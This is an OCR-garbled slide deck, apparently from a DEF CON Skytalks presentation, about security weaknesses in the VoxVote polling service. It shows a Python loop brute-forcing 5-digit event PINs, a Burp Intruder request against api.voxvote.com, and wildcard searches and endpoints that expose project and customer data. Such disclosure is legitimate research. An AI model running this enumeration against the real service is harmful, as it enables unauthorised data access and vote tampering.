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Wif IS voxvote?

polling software for presenters







IS It being used?




IS It being used?

124

COUNTRIES ARE USING
VOXVOTE

1,282

UNIVERSITIES AND
EDUCATIONAL
INSTITUTES
COMNNECTED (FOR
FREE!)

40,252

ACTIVE USERS LAST
MONTH

3,801,002

VOTES




40,252 3,801,002

ACTIVE USERS LAST VOTES
MONTH
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ul - question builder
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Ul - Tunning

Question No 1 is ON AR () Salect — 1 - Does this talk suck?

1. Does this talk suck?

Crassing Mavigator Cuestion Mavigator

"3 voxvote Vote on live.voxvote.com or download app. PIN: 65661

Creaba your own for free
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mobile

register voter




mobile

register voter

4 voxvote

Enter 5 digit event number

Ok, next

suim - The Waice of




mobile

wait for question




mobile

wait for question

W4 voxvote

Rockin' The VoxVote!

algorythm
DEF COM Skytalks

Waiting for a new question

Leave event

ym = Tha Veica of wour Audiencs - Creata your own Tor fres on
SRR TR P SR ]
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W4 voxvote

Rockin' The VoxVote!

[1.] Doesthis talk suck?

@ =z

Vote

® Womiorte. com - The Voice of your Audience - Cragle your own for ree on
il




mobile

wait for next question...




mun"e ¥ voxvote

Rockin' The VoxVote!

algorythm
DEF COMN Skytalks

Thanks for answering the question.

wait for next question... Wailing for anew question

e @& a0

Leave event

m - The Yaice of your Audience - Create your own for free on

fa igner vt /]







Ul - results!

Crossing Mavigator Cuestion Nasigator

— — & = o i= @ a
Select - 1 - Does this talk suck Fusfrash

1. Does this talk suck?
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can 1 browse It?




can 1 browse It?

of course i can!
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V34 voxvote

Vox\Vote API| 1.0 Documentation

Current implementations:

Our REST(full) APl supports the following methods.

Account

API

GET Account/DomainList

GET Account'DomainList/{id}

GET api/Account

GET api/Account/{id}

GET api/Account/DomainList

Description

Mo documentation avallable.

Mo documentation available.

Mo documentation available.

Mo documentation available.

No documentation available.
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o Aigit PIN?




o digit PIN?

for x in range(99999):

pin = "%05d" % X

currentUrl = baseUrl + pin

r = requests.get(currentUrl, headers=myHeaders)
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If only we had a tool...




If only we had a tool...

Attack type: Snipel

GET /project/checkPIN?Pin=§12345§ HTTP/1.1
Host: api.voxvote.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
Accept: text/html,application/xhtml+xml,application

Accept-Language: en-US,en;q=0.5




If only we had a tool...

- To:
Attack type: Snipel

Step:

GET /project/checkPIN?Pin=§12345§ HTTP/1.1 How many:
Host: api.voxvote.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
Accept: text/html,application/xhtml+xml,application

Base: ' Decimal

Accept-Language: en-US,en;q=0.5

Min integer digits:
Max integer digits:
Min fraction digits:

Max fraction digits:
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now what?

what info can | get with a project ID?




getProject




0d14341|HTTPR/1.1

Content-T » applicationfjson
Content-Length: 2




61.



62.



63.



64.






Pin

65661 - this is your personal PIN for all your events.




how can we get project IDS?




how can we get project IDS?

well...besides brute forcing PINs...




canwe search?




canwe search?

W] voxvote

Back

POST Project/SearchProject

Mo documentation available.




canwe search?

W] voxvote

Back

POST Project/SearchProject

Mo documentation available.
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what If we search by '%' or ™'...




what if we search by '%o' or ™*'...

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Length: 70

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-1IS/8.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET




what if we search by '%o' or ™*'...

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
o _ Content-Length: 70
» == 183 hits Content-Type: application/json; charset=utf-8
Expires: -1

. Server: Microsoft-1IS/8.0
184 hits X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
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random other things I noticed




what IS getDomains?




what IS getDomains?

apparently a way to list all their
customers...
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can we voter fraud?
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